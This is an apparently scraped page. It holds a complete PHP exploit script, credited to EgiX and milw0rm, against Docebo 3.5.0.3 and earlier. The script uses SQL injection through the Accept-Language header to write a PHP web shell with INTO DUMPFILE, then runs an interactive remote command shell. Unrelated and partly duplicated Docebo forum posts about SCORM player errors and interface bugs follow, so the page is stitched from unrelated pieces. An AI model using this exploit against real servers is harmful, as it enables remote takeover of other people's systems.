Eu ainda não testeira, mas seria bom verificar isso aqui.

<?

/*
	-------------------------------------------------------------------
	Docebo <= 3.5.0.3 (lib.regset.php) Remote Command Execution Exploit
	-------------------------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	
	link.....: http://www.docebo.com/community/
	details..: works with magic_quotes_gpc = off (if magic quotes affects also $_SERVER[] array)

	[-] autoDetectRegion() function vulnerable to SQL injection in /doceboCore/lib/lib.regset.php

	781.	function autoDetectRegion() {
	782.		
	783.		if(!isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])) {
	784.			$res=0;
	785.			return $res;
	786.		}
	787.		$accept_language=$_SERVER["HTTP_ACCEPT_LANGUAGE"];
	788.		// [TODO] move the code that makes the accept language array to lib.utils
	789.
	790.		$al_arr=explode(",", $accept_language);
	791.
	792.		$i=0;
	793.		$res="";
	794.		while(($res == "") && ($i < count($al_arr))) {
	795.
	796.			$bl_arr=explode(";", $al_arr[$i]);
	797.			$browser_language=$bl_arr[0];
	798.
	799.			$qtxt="SELECT region_id FROM ".$this->_getListTable()." WHERE browsercode LIKE '%".$browser_language."%'"; <==
	800.			$q=$this->_executeQuery($qtxt);
	801.
	802.			if (($q) && (mysql_num_rows($q) > 0)) {
	803.				$row=mysql_fetch_array($q);
	804.				$res=$row["region_id"];
	805.			}

	an attacker cuold be inject SQL code through http accept-language header (in the query at line 799), but explode() function at
	line 790 will split the injected code by comma (","), so isn't possible even a blind SQL injection with BENCHMARK() method...
	this poc will try to inject some php code into docebo web directory by INTO DUMPFILE statement, this requires FILE privilege!

	[-] Path disclosure at:
	
	/doceboCore/class/class.conf_fw.php
	/doceboCore/class.module/class.event_manager.php
	/doceboCore/lib/lib.domxml5.php
	/doceboCore/menu/menu_over.php
	/doceboCms/class/class.conf_cms.php
	/doceboCms/lib/lib.compose.php
	/doceboCms/modules/chat/teleskill.php
	/doceboCms/class/class.admin_menu_cms.php
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
	$sock = fsockopen($host, 80);
	while (!$sock)
	{
		print "\n[-] No response from {$host}:80 Trying again...\n";
		$sock = fsockopen($host, 80);
	}
	fputs($sock, $packet);
	while (!feof($sock)) $resp .= fread($sock, 1);
	fclose($sock);
	return $resp;
}

function get_path()
{
	global $host, $path;
	
	$packet = "GET {$path}../doceboCore/class/class.conf_fw.php HTTP/1.0\r\n";
	$packet.= "Host: {$host}\r\n";
	$packet.= "Connection: close\r\n\r\n";

	preg_match("/in <b>(.*)<\/b> on/i", http_send($host, $packet), $found);
	$ret = substr($found[1], 0, strlen($found[1]) - strlen(strstr($found[1], "docebo")));
	$ret.= substr($path, 1);

	return $ret;
}

print "\n+------------------------------------------------------------+";
print "\n| Docebo <= 3.5.0.3 Remote Command Execution Exploit by EgiX |";
print "\n+------------------------------------------------------------+\n";

if ($argc < 3)
{
	print "\nUsage....: php $argv[0] host path\n";
	print "\nhost.....: target server (ip/hostname)";
	print "\npath.....: path to docebo directory\n";
	print "\nExample..: php $argv[0] localhost /doceboCms/";
	print "\nExample..: php $argv[0] localhost /docebo/doceboLms/\n";
	die();
}

$host = $argv[1];
$path = $argv[2];

$r_path	= str_replace("\\", "/", get_path()); // replace "\" for windows path
$r_file = md5(time()).".php";

print "\n[-] Path disclosure: {$r_path}\n\n[-] Trying to inject php shell...\n";

$code	= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>";
$packet = "GET {$path} HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Accept-Language: %'/**/AND/**/1=0/**/UNION/**/SELECT/**/'{$code}'/**/INTO/**/DUMPFILE/**/'{$r_path}{$r_file}'/*\r\n";
$packet.= "Connection: close\r\n\r\n";
$html	= http_send($host, $packet);

$packet = "GET {$path}{$r_file} HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Connection: close\r\n\r\n";
$html	= http_send($host, $packet);

if (!ereg("_code_", $html)) die("\n[-] Exploit failed...\n");
else print "[-] Shell injected! Starting it...\n";

define(STDIN, fopen("php://stdin", "r"));
while(1)
{
	print "\nxpl0it-sh3ll > ";
	$cmd = trim(fgets(STDIN));
	if ($cmd != "exit")
	{
		$packet  = "GET {$path}{$r_file} HTTP/1.0\r\n";
		$packet .= "Host: {$host}\r\n";
		$packet .= "Cmd: ".base64_encode($cmd)."\r\n";
		$packet .= "Connection: close\r\n\r\n";
		$html = http_send($host, $packet);
		if (!ereg("_code_", $html)) die("\n[-] Exploit failed...\n");
		$shell = explode("_code_", $html);
		print "\n".$shell[1];
	}
	else break;
}

?>

# milw0rm.com [2008-01-09]

Hi,

I still experience problems with the Scorm-player although upgrading to version 3.5.0.4

The problem also existed earlier ( please see thread "3.5.03 SCORM Player Error" at http://www.docebo.com/community/doceboCms/forum/9_1/message/idThread_3651/3_5_03_SCORM_Player_Error.html )

When I have created a module in CourseLab and imported it in Docebo, whenever I start the module or go to the next step in the module, a javascript alert box appears with the message "Fatal error", and afterwards a new windows open with the following error message:

"Fatal error: Call to a member function on a non-object in D:\www1\SOMAsoftware\extras\e-learning\doceboLms\modules\scorm\soaplms.php on line 375"

I have tried to open the module using the newest Firefox, but a javascript alert box also appears here with the message "TypeError: w has no properties", and again a new window opens with the following error message:

"Fatal error: Call to a member function on a non-object in D:\www1\SOMAsoftware\extras\e-learning\doceboLms\modules\scorm\soaplms.php on line 419"

Has this something to do with the use of CourseLab? (I hope not, since all the modules are ready for use and have been made in CourseLab). Or  is there still a bug in the Scorm-player in Docebo?

(I can upload one of the CourseLab modules, if you want to see it...)

Hope somebody can help with some answers since I'm running close to a deadline.

Sincerely,

Kevin

Hi again,

Writted by: Svenningsen Kevin

Hi,

I still experience problems with the Scorm-player although upgrading to version 3.5.0.4

The problem also existed earlier ( please see thread "3.5.03 SCORM Player Error" at http://www.docebo.com/community/doceboCms/forum/9_1/message/idThread_3651/3_5_03_SCORM_Player_Error.html )

When I have created a module in CourseLab and imported it in Docebo, whenever I start the module or go to the next step in the module, a javascript alert box appears with the message "Fatal error", and afterwards a new windows open with the following error message:

"Fatal error: Call to a member function on a non-object in D:\www1\SOMAsoftware\extras\e-learning\doceboLms\modules\scorm\soaplms.php on line 375"

I have tried to open the module using the newest Firefox, but a javascript alert box also appears here with the message "TypeError: w has no properties", and again a new window opens with the following error message:

"Fatal error: Call to a member function on a non-object in D:\www1\SOMAsoftware\extras\e-learning\doceboLms\modules\scorm\soaplms.php on line 419"

Has this something to do with the use of CourseLab? (I hope not, since all the modules are ready for use and have been made in CourseLab). Or  is there still a bug in the Scorm-player in Docebo?

(I can upload one of the CourseLab modules, if you want to see it...)

Hope somebody can help with some answers since I'm running close to a deadline.

Sincerely,

Kevin

Many bugs on my end:

1. First name and Last name are mixed in the display... In the First name I have Matthew, Last name I have Koster, yet everywhere it displays Koster Matthew, and not the right way of Matthew Koster

2. My Area, when scrolling down (in FireFox, have not tested in I.E.) you cannot get to the menu, it disappears before you get to it.

3. When viewing my courses, clicking on Course Material, gets you nothing, but when browsing the list... here is why
http://www.firewebuniversity.com/doceboLms/index.php?modname=coursecatalogue&op=donwloadmaterials&id_course=1 <-- Correct Link
http://www.firewebuniversity.com/doceboLms/index.php?modname=course&op=donwloadmaterials&id_course=1 <--- Bad link

4. Quizes, I canot se the questions in a quiz, it simply asks me to submit.

As far as I can tell, that all the problems I can find so far.